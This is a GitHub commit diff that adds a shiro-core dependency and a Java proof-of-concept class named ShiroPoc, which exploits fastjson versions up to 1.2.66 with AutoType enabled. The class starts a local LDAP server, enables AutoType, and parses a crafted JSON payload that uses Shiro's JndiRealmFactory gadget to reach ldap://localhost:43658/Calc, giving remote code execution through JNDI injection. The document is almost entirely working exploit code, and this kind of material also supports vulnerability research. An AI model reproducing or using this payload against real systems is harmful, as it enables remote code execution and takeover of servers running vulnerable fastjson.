File tree Expand file tree Collapse file tree 2 files changed +42
-0
lines changed
src/main/java/com/threedr3am/bug/fastjson/rce Expand file tree Collapse file tree 2 files changed +42
-0
lines changed Original file line number Diff line number Diff line change 116116 <artifactId >commons-jelly</artifactId >
117117 <version >1.0.1</version >
118118 </dependency >
119+
120+ <dependency >
121+ <groupId >org.apache.shiro</groupId >
122+ <artifactId >shiro-core</artifactId >
123+ <version >1.5.1</version >
124+ </dependency >
119125 </dependencies >
120126</project >
Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .fastjson .rce ;
2+
3+ import com .alibaba .fastjson .JSON ;
4+ import com .alibaba .fastjson .parser .ParserConfig ;
5+ import com .threedr3am .bug .common .server .LdapServer ;
6+
7+ /**
8+ * fastjson <= 1.2.66 RCE,需要开启AutoType
9+ *
10+ *
11+ * shiro-core gadget
12+ *
13+ * <dependency>
14+ * <groupId>org.apache.shiro</groupId>
15+ * <artifactId>shiro-core</artifactId>
16+ * </dependency>
17+ *
18+ * @author threedr3am
19+ */
20+ public class ShiroPoc {
21+ static {
22+ //rmi server示例
23+ // RmiServer.run();
24+
25+ //ldap server示例
26+ LdapServer .run ();
27+ }
28+
29+ public static void main (String [] args ) {
30+ ParserConfig .getGlobalInstance ().setAutoTypeSupport (true );
31+
32+ String payload = "{\" @type\" :\" org.apache.shiro.realm.jndi.JndiRealmFactory\" , \" jndiNames\" :[\" ldap://localhost:43658/Calc\" ], \" Realms\" :[\" \" ]}" ;//ldap方式
33+ System .out .println (payload .charAt (98 ));
34+ JSON .parse (payload );
35+ }
36+ }
You can’t perform that action at this time.
0 commit comments